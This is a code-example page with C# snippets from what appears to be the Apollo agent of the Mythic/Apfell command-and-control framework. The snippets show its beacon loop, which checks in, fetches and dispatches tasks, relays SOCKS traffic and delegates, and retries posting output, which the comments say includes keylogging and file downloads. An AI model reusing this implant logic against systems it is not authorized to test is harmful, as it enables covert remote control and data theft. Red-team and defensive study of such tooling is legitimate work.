Exemplo n.º 1
0
        /// <summary>
        /// Main initializaiton task loop that will begin
        /// the task loop of the function should the agent
        /// successfully register to the Apfell server specified
        /// by the C2 Profile. On each checkin, should a job be
        /// issued, it will be added to its own job queue and begin
        /// start the task in a separate thread.
        /// </summary>
        public void Start()
        {
            Thread activeMonitorThread = new Thread(MonitorIsActive);

            activeMonitorThread.Start();
            while (true)
            {
                if (InitializeAgent())
                {
                    Thread relayThread = new Thread(MonitorRelays);
                    relayThread.Start();
                    while (IsActive)
                    {
                        DebugWriteLine("------ NEW LOOP ------");
                        Stopwatch sw = new Stopwatch();
                        sw.Start();
                        // Need to parse delegates and tasks from checktasking (which should be renamed)
                        new Thread(() => SendTaskOutput()).Start();
                        Mythic.Structs.TaskQueue tasks = CheckTasking();

                        Stopwatch sw2 = new Stopwatch();
                        sw2.Start();
                        new Thread(() => DispatchTaskQueue(tasks)).Start();
                        sw2.Stop();
                        DebugWriteLine($"Took {FormatTimespan(sw2.Elapsed)} to start DispatchTaskQueue thread.");
                        //DebugWriteLine("~~~~~~~~~~~~~~~ Started main task dispatch!");
                        Thread.Sleep(GetSleepTime());
                        sw.Stop();
                        TimeSpan ts          = sw.Elapsed;
                        string   elapsedTime = String.Format("{0:00}.{1:00}s", ts.Seconds, ts.Milliseconds / 10);
                        DebugWriteLine($"Main loop took {elapsedTime} to complete.");
                    }
                }
            }
        }
Exemplo n.º 2
0
        public void DispatchTaskQueue(Mythic.Structs.TaskQueue tasks)
        {
            if (tasks.SocksDatagrams != null && tasks.SocksDatagrams.Length > 0)
            {
                DispatchSocksDatagrams(tasks.SocksDatagrams);
            }

            if (tasks.Tasks.Length != 0)
            {
                DebugWriteLine($"Received {tasks.Tasks.Length} new tasks to execute.");
                DispatchTasks(tasks.Tasks);
            }


            if (tasks.Delegates.Length != 0)
            {
                DebugWriteLine($"Received {tasks.Delegates.Length} new delegate messages to pass.");
                DispatchDelegates(tasks.Delegates);
            }
        }
Exemplo n.º 3
0
        /// <summary>
        /// Try and send a response to the Apfell server based
        /// on the MAX_RETRY count.
        /// </summary>
        /// <param name="job">Job to send response data about.</param>
        /// <returns>TRUE if successful, FALSE otherwise.</returns>
        //public bool TryPostResponse(Job job)
        //{
        //    int retryCount = 0;
        //    string result;
        //    object msg;
        //    if (job.Task.message.GetType() == typeof(ApolloTaskResponse))
        //        msg = (ApolloTaskResponse)job.Task.message;
        //    else
        //        msg = new ApolloTaskResponse(job.Task.id, (job.Task.status == "complete"), job.Task.message);
        //    result = Profile.SendResponse(job.Task.id, msg);
        //    while ((!result.Contains("success") || result == "") && retryCount < MAX_RETRIES)
        //    {
        //        result = Profile.SendResponse(job.Task.id, new ApolloTaskResponse(job.Task.id, (job.Task.status == "success"), job.Task.message));
        //        retryCount++;
        //    }
        //    return result.Contains("success");
        //}

        /// <summary>
        /// Try and send a response to the Apfell server based
        /// on the MAX_RETRY count.
        /// </summary>
        /// <param name="job">Job to send response data about.</param>
        /// <returns>TRUE if successful, FALSE otherwise.</returns>
        //public string TryPostResponse(string task_id, object dataToSend)
        //{
        //    int retryCount = 0;
        //    string result = "";

        //    try
        //    {
        //        while (!result.Contains("success") && retryCount < MAX_RETRIES)
        //        {
        //            result = Profile.SendResponse(task_id, dataToSend);
        //            retryCount++;
        //        }
        //    } catch { }
        //    return result;
        //}

        /// <summary>
        /// Try and send a response to the Apfell server based
        /// on the MAX_RETRY count.
        /// </summary>
        /// <param name="job">Job to send response data about.</param>
        /// <returns>TRUE if successful, FALSE otherwise.</returns>
        //public bool TrySendChunk(string task_id, Mythic.Structs.FileChunk dataToSend)
        //{
        //    int retryCount = 0;
        //    string result = "";

        //    try
        //    {
        //        while (!result.Contains("success") && retryCount < MAX_RETRIES)
        //        {
        //            result = Profile.SendResponse(task_id, dataToSend);
        //            retryCount++;
        //        }
        //    }
        //    catch { }
        //    return result.Contains("success");
        //}



        /// <summary>
        /// Attempt to post a response to the Apfell server
        /// given a SCTaskResponse item. This function is
        /// primarily used when attempting to stream output
        /// to the Apfell server, such as is the case in
        /// keylogging or large file downloads.
        /// </summary>
        /// <param name="response">SCTaskResp instance</param>
        /// <returns>String version of the Apfell server response.</returns>
        //public string TryGetPostResponse(string task_id, ApolloTaskResponse response)
        //{
        //    int retryCount = 0;
        //    string result = "";
        //    result = Profile.SendResponse(task_id, response);
        //    while (!result.Contains("success") && retryCount < MAX_RETRIES)
        //    {
        //        result = Profile.SendResponse(task_id, response);
        //        retryCount++;
        //    }
        //    return result;
        //}

        /// <summary>
        /// Attempt to post the response to the Apfell server.
        /// Primarily this function is used by tasks who require
        /// streaming output to the server.
        /// </summary>
        /// <param name="response">SCTaskResp instance to send up to the mothership.</param>
        /// <returns>TRUE if successful, FALSE otherwise.</returns>
        //public bool TryPostResponse(string task_id, ApolloTaskResponse response)
        //{
        //    int retryCount = 0;
        //    string result;
        //    result = Profile.SendResponse(task_id, response);
        //    //while (!result.Contains("success") && retryCount < MAX_RETRIES)
        //    //{
        //    //    result = Profile.SendResponse(task_id, response);
        //    //    retryCount++;
        //    //}
        //    return result.Contains("success");
        //}

        //public bool TryPostResponses(string task_id, object[] responses)
        //{
        //    int retryCount = 0;
        //    string result;
        //    result = Profile.SendResponses(task_id, responses);
        //    while (!result.Contains("success") && retryCount < MAX_RETRIES)
        //    {
        //        result = Profile.SendResponses(task_id, responses);
        //        retryCount++;
        //    }
        //    return result.Contains("success");
        //}

        ///// <summary>
        ///// Attempt to send a complete message based on the
        ///// job associated with it.
        ///// </summary>
        ///// <param name="job">Job of the executing task.</param>
        ///// <returns>TRUE if successful, FALSE otherwise.</returns>
        //public bool TrySendComplete(Job job)
        //{
        //    int retryCount = 0;
        //    string result = Profile.SendComplete(job.Task.id);
        //    while (!result.Contains("success") && retryCount < MAX_RETRIES)
        //    {
        //        result = Profile.SendComplete(job.Task.id);
        //        retryCount++;
        //    }
        //    return result.Contains("success");
        //}

        ///// <summary>
        ///// Attempt to send a complete message based on the
        ///// task id associated with it.
        ///// </summary>
        ///// <param name="taskID">SCTask.TaskID of the task.</param>
        ///// <returns>TRUE if successful, FALSE otherwise.</returns>
        //public bool TrySendComplete(string taskID)
        //{
        //    int retryCount = 0;
        //    string result = Profile.SendComplete(taskID);
        //    while (!result.Contains("success") && retryCount < MAX_RETRIES)
        //    {
        //        result = Profile.SendComplete(taskID);
        //        retryCount++;
        //    }
        //    return result.Contains("success");
        //}

        ///// <summary>
        ///// Send an error to the Apfell controller
        ///// given a Job that has failed its one and
        ///// only purpose.
        ///// </summary>
        ///// <param name="job">A Job class who has disappointed its parents.</param>
        ///// <returns>TRUE if contact with Apfell was successful, FALSE otherwise.</returns>
        //public bool TrySendError(Job job)
        //{
        //    int retryCount = 0;
        //    string result;
        //    result = Profile.SendError(job.Task.id, job.Task.message);
        //    while (!result.Contains("success") && retryCount < MAX_RETRIES)
        //    {
        //        result = Profile.SendComplete(job.Task.id);
        //        retryCount++;
        //    }
        //    return result.Contains("success");
        //}

        ///// <summary>
        ///// Send the message of the job over to the
        ///// Apfell server and see how it goes. Maybe
        ///// it works out, but maybe it doesn't. Who
        ///// knows? That's life. That's why the return
        ///// value is void.
        ///// </summary>
        ///// <param name="job">Job whose task completion status will be relayed.</param>
        //public void SendResult(Job job)
        //{
        //    int retryCount = 0;
        //    string result;
        //    if (job.Task.status == "complete") // &&
        //        //job.Task.command != "download" &&
        //        //job.Task.command != "screencapture")
        //    {
        //        TryPostResponse(job);
        //        //if (TryPostResponse(job))
        //        //{
        //        //    TrySendComplete(job);
        //        //}
        //    }
        //    else if (job.Task.status == "error")
        //    {
        //        //if (TrySendError(job))
        //        //{
        //        //    TrySendComplete(job);
        //        //}
        //        TrySendError(job);
        //    }

        //    Jobs.JobManager.RemoveJob(job);
        //}

        /// <summary>
        /// Check the Apfell server to see if there's any
        /// taskings associated with our agent.
        /// </summary>
        /// <returns>
        /// SCTask instance with the action to perform,
        /// if successful. The function returns null if the
        /// application times out.
        /// </returns>
        public Mythic.Structs.TaskQueue CheckTasking()
        {
            int retryCount = 0;

            Mythic.Structs.TaskQueue tasks = new Mythic.Structs.TaskQueue();
            // DelegateMessages[] delegateMessages = null;
            Stopwatch sw = new Stopwatch();

            sw.Start();
            while (retryCount < MAX_RETRIES)
            {
                try
                {
                    // Check Tasking should be renamed
                    // return tuple of tasks and delegates
                    // tasks = results[0]
                    // delegates = results[1]
                    // return (tasks, delegates)
                    //DebugWriteLine("~~~~~~~~~~~~~~~ Attempting to fetch new tasks...");
                    tasks = Profile.GetMessages(this);
                    //DebugWriteLine("~~~~~~~~~~~~~~~ Successfully fetched new tasks!");
                    break;
                }
                catch (Exception ex)
                {
                    //DebugWriteLine($"~~~~~~~~~~~~~~~ Failed to fetch new tasks. Reason: {ex.Message}. Sleeping {SleepInterval} seconds.");
                    retryCount++;
                    Thread.Sleep(SleepInterval);
                }
            }
            sw.Stop();
            TimeSpan ts      = sw.Elapsed;
            string   elapsed = string.Format("{0:00}.{1:00}s", ts.Seconds, ts.Milliseconds / 10);

            DebugWriteLine($"Check tasking took {elapsed} to run.");
            return(tasks);
        }